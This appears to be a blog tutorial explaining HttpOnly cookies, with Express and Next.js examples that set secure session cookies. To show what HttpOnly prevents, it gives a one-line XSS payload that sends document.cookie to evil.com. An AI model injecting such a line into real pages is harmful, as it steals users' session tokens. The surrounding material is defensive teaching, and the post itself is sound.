๐ช Understanding HttpOnly Cookies
HttpOnly cookies are a type of browser cookie that cannot be accessed via JavaScript.
They are designed to protect sensitive data โ especially authentication tokens โ from attacks like Cross-Site Scripting (XSS).
๐ What Does HttpOnly Mean?#
When you set the HttpOnly flag on a cookie, the browser stores it but never exposes it to document.cookie or JavaScript APIs.
That means:
console.log(document.cookie);
// โ You will NOT see HttpOnly cookies here.
The cookie still goes to the server automatically with every HTTP request to the same origin.
โ๏ธ How Browsers Enforce It#
Browsers handle HttpOnly cookies internally:
- The server sets a cookie with
Set-Cookieheader. - The browser stores it securely.
- On every request to the same domain/path, the browser attaches the cookie in the
Cookieheader. - JavaScript cannot read or modify it.
โ This prevents attackers from stealing session tokens via injected scripts.
๐ง Why It's Important#
Without HttpOnly, an attacker who injects JavaScript (via XSS) could do:
fetch('https://evil.com?cookie=' + document.cookie);
This would expose your session token.
With HttpOnly, that attack fails.
๐ก Secure + HttpOnly = Best Practice#
You should always combine:
HttpOnlyโ hides cookie from JavaScriptSecureโ only send over HTTPSSameSiteโ restricts cross-site sending (helps prevent CSRF)
Example header:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
๐งฑ Example: Express Backend#
import express from "express";
import cookieParser from "cookie-parser";
const app = express();
app.use(cookieParser());
app.post("/login", (req, res) => {
const token = "user_jwt_token_here";
res.cookie("token", token, {
httpOnly: true,
secure: true,
sameSite: "strict",
});
res.send("Logged in!");
});
app.get("/profile", (req, res) => {
// You can access it on server:
const token = req.cookies.token;
res.json({ message: "Token exists?", token: !!token });
});
app.listen(3001, () => console.log("โ
Express running on port 3001"));
โ๏ธ Example: Next.js API Route#
// pages/api/login.ts
import type { NextApiRequest, NextApiResponse } from "next";
import { serialize } from "cookie";
export default function handler(req: NextApiRequest, res: NextApiResponse) {
const token = "jwt_token_here";
res.setHeader(
"Set-Cookie",
serialize("token", token, {
httpOnly: true,
secure: process.env.NODE_ENV === "production",
sameSite: "strict",
maxAge: 60 * 60 * 24 * 7, // 7 days
path: "/",
})
);
res.status(200).json({ success: true });
}
Now your cookie is automatically sent with every request โ but never visible to document.cookie.
๐ง Behind the Scenes#
When you refresh the page:
- Browser checks stored cookies for matching domain/path.
- Attaches them automatically in the
Cookieheader. - Server reads them and can validate session or JWT.
No need for localStorage or client-side access.
This reduces attack surface dramatically โ because even if the client is compromised, tokens arenโt exposed to script access.
โ๏ธ Common Mistakes#
โ Setting cookies in client-side JS โ breaks security
โ
Always set cookies via Set-Cookie header from server.
โ Storing JWTs in localStorage
โ
Store them in HttpOnly cookies instead.
๐ Summary#
| Feature | Description | Prevents |
|---|---|---|
| HttpOnly | Hides cookie from JavaScript | XSS |
| Secure | Sends only over HTTPS | MITM |
| SameSite | Restricts cross-site | CSRF |
| Server-set cookie | Controlled by backend | Tampering |
๐ Key Takeaway#
Store your auth tokens in HttpOnly cookies, not in localStorage.
They protect against XSS by design โ one of the simplest and strongest web security patterns.
Start the discussion
Questions, corrections, a better approach? I read and reply to every comment.